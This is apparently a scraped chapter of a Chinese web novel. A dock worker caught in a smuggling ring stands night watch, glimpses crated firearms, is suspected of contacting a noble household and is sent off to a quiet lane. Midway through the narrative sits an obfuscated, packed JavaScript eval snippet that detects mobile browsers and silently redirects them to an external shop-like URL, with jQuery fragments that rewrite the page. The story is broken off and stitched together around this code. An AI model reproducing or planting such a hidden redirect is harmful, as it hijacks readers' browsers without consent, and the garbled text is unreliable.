接下来的两天,阿班的心一直悬着。
他照常在货栈干活,疤爷似乎没察觉什么异样,黑皮也依旧是那副颐指气使的样子。
他暗中留意着码头区林家仓库的动静。那辆青帷小车没再出现,灯笼的颜色也没有改变,一切仿佛什么都没发生过。
第三天下午,疤爷派他去给城里一家绸缎庄送“样品”。说是样品,其实是一个沉甸甸的小木盒,封得严严实实。阿班知道,这里面绝不会是布料。
他揣着木盒,走在熙攘的街道上。阳光很好,街市热闹,但他只觉得周遭的一切都隔着一层无形的膜。他的心思全在那句石沉大海的传话上。
琪琪……林晚琪……她到底收到消息没有?如果收到了,她是什么反应?害怕?怀疑?还是根本不信,只当是哪个疯子的胡言乱语?
他了解琪琪,或者说,了解现实里那个三十岁、有些天真、贪图安逸、骨子里带着点小自私的琪琪。在这个虚拟世界里,她成了十五六岁的富家千金,享受着前所未有的富贵和庇护。她会为了一个不确定是否真的同她一样从现实世界来的朋友,去冒险接触码头区的黑暗,去得罪可能牵连家族的势力吗?
可能性微乎其微。
她更可能的选择是:捂住耳朵,闭上眼睛,假装什么都没听见,然后更紧地缩回林府的高墙之内。毕竟,她现在有的是可以失去的东西。
阿班意识到琪琪最终选择是什么的时候,他知道自己不能怪她,换做是他,在同样的情况下,未必会做得更好。求生和自保是本能。只是……涵涵怎么办?他自己又怎么办?
琪琪或许此刻正在绣花,或许在品茶。他在现实中可以肆无忌惮得闯入她的出租屋,但是在这里却隔着无法逾越的阶级和认知的鸿沟。
指望她帮忙,或许从一开始就是奢望。
回到货栈,疤爷正在发火。一个负责望风的年轻力工,昨晚值班时打瞌睡,差点让巡夜的差役撞见正在卸的一批私货。
“……废物!眼皮子都撑不开,要你有什么用!”疤爷一脚踹在那力工腿上,力工疼得龇牙咧嘴,却不敢吭声。
“疤爷息怒,这小子新来的,不懂规矩。”黑皮在一旁劝道,“下次我盯着他。”
“还有下次?”疤爷眼神阴鸷,“坏了东家的事,你我都得吃不了兜着走!”他瞥了一眼刚进门的阿班,“阿班,你过来。”
阿班心里一紧,面上不动声色:“疤爷。”
疤爷上下打量着他:“你最近活儿干得还行。眼力见儿也有。”他指了指地上那瑟瑟发抖的力工,“从今天起,晚上仓库那边的夜哨,你跟他一起。给我盯紧了!一只苍蝇飞进去都得知道!”
夜哨?阿班心头一动。这虽然辛苦,但意味着他能更接近仓库的核心区域,看到更多东西。
“是,疤爷。”他应下。
“机灵点。”疤爷又警告了一句,“出了岔子,你知道后果。”
当晚,阿班就和那个叫阿旺的年轻力工一起,守在河神庙后院的秘密仓库外。
夜色深沉,虫鸣唧唧,仓库里寂静无声。
阿旺显然还心有余悸,缩在墙角,抱着根木棍,眼睛瞪得老大,不敢有丝毫松懈。
阿班靠在另一边的墙上,看似在警戒,脑子里却在飞速运转。
指望不上琪琪,他必须自己找到突破口。账本在涵涵那里,但涵涵被看得紧,很难把账本带出来。他需要拿到更直接的证据,比如货物本身,或者交易记录。
夜哨是个机会。他可以观察仓库的守卫规律,货物的进出情况。
但时间紧迫。御史随时可能到,疤爷他们转移货物的速度也在加快。
他需要冒更大的险。
几天后的一个深夜,疤爷亲自带人又来仓库提货。这次要运走的箱子不多,但格外沉重,搬动时几乎听不到里面有任何声响。
阿班和阿旺在外围警戒。阿班注意到,疤爷对这几个箱子异常重视,亲自检查封条,指挥装车时动作都放轻了许多。
“这批是东家点名要的,不能有半点闪失。”疤爷低声对黑皮吩咐,“你亲自押送,直接上船,看着船开了再回来。”
“明白。”黑皮点头。
阿班的心跳加速。东家点名要的?会不会是……更关键的证据?或者,是涵涵在账本里提到过的、那些特别值钱的“海外奇珍”?
他必须知道箱子里是什么。
但怎么查看?箱子封得严实,疤爷和黑皮寸步不离。
就在这时,意外发生了。一个力工在搬箱子下台阶时,脚下被碎石一绊,身体失衡,箱子的一角重重磕在石阶上!
“哐!”一声闷响。
“蠢货!”疤爷脸色大变,冲过去。
箱子一角被磕裂了,露出里面黑色的、像是金属的材质,还有一丝……奇怪的、类似药味的沉闷气息。
疤爷急忙查看裂缝,脸色铁青。他狠狠瞪了那失手的力工一眼,但没时间发作,迅速让人拿来油布和麻绳,将裂缝处紧紧裹住。
“快!装车!走!”疤爷催促。
阿班借着灯笼昏暗的光,死死盯着那裂缝处。黑色的金属……药味……那形状,隐约像是……炮筒?不,更小一些。是火铳?
他的血液几乎要凝固。
如果真是火铳,那他们难道是在资敌?或是在准备更可怕的阴谋?
货物被匆匆运走,疤爷留下善后,脸色阴沉得能滴出水来。阿班知道,自己看到了不该看的东西。危险又近了一步。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119609|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
疤爷瞪了他一眼,他缩缩脖子。
林府那边,突然有了回音——不是他期待的回音。
这天,疤爷从外面回来,脸色有些古怪。他把阿班叫到跟前,盯着他看了好一会儿。
“阿班,你最近……有没有跟什么不该接触的人接触?”疤爷问,语气平淡,但眼神锐利如刀。
阿班心里咯噔一下,面上却露出茫然:“疤爷,您指的是……?”
“比如,林府的人。”疤爷缓缓道。
阿班的心跳漏了一拍。他强自镇定:“林府?没有啊。我这种身份,哪有机会接触林府的人。疤爷,是不是……有什么误会?”
疤爷哼了一声:“误会?最好是个误会。”他凑近了些,压低声音,“有人递话过来,说林府二小姐身边的大丫鬟,前几日在码头仓库那边,被一个形迹可疑的码头工人搭了话,说了些疯言疯语。那丫鬟吓得不轻,回去就禀报了主母。林夫人很不高兴,觉得码头区越发乱了,连累她家小姐清誉。”
阿班的手心渗出冷汗。琪琪……她果然选择了最安全的方式。不仅没帮忙,还把事情捅上去,划清了界限。
“疤爷,这……这跟我没关系啊!”阿班急忙辩解,“我那天是去送工具,路上是撞见过林府的马车,可我低着头就走了,哪敢跟人家丫鬟搭话?定是别人……”
“行了。”疤爷打断他,眼神依旧审视,“是不是你,我心里有数。不过,既然林府那边递了话,咱们就得给个交代。”他顿了顿,“最近风声紧,上面交代了,要肃清内部,别留任何隐患。你……”
阿班的心提到了嗓子眼。
“……先避避风头。”疤爷最终道,“这几天,你别在货栈露面了。去城东柳枝胡同那边,帮着桂娘处理点零碎活。那边清静,也缺人手。等这阵风过去再说。”
去柳枝胡同?和涵涵一起?
这是明摆着的监视。但是也给了他接近涵涵和接触账本的机会,会是试探吗?
“是,疤爷。”阿班低下头,掩去眼中的复杂情绪。
“记住,”疤爷最后警告,“管好你的嘴,也管好你的眼睛。不该看的别看,不该问的别问。否则……”他没说完,但意思再明白不过。
阿班离开了货栈,背着简单的行李,走向城东柳枝胡同。夕阳将他的影子拉得很长。他知道,自己暂时安全了。
夜色渐浓,柳枝胡同那扇刻着蝙蝠的木门,在昏暗的灯光下,像一张沉默的、等待吞噬的嘴。阿班站在门前,深吸一口气,抬手敲了敲门。
里面传来涵涵那依旧带着惊惶的、沙哑的声音:“谁……谁啊?”
“是我,阿班。”阿班回答,声音平静,“疤爷让我来帮忙。”
门,缓缓打开了。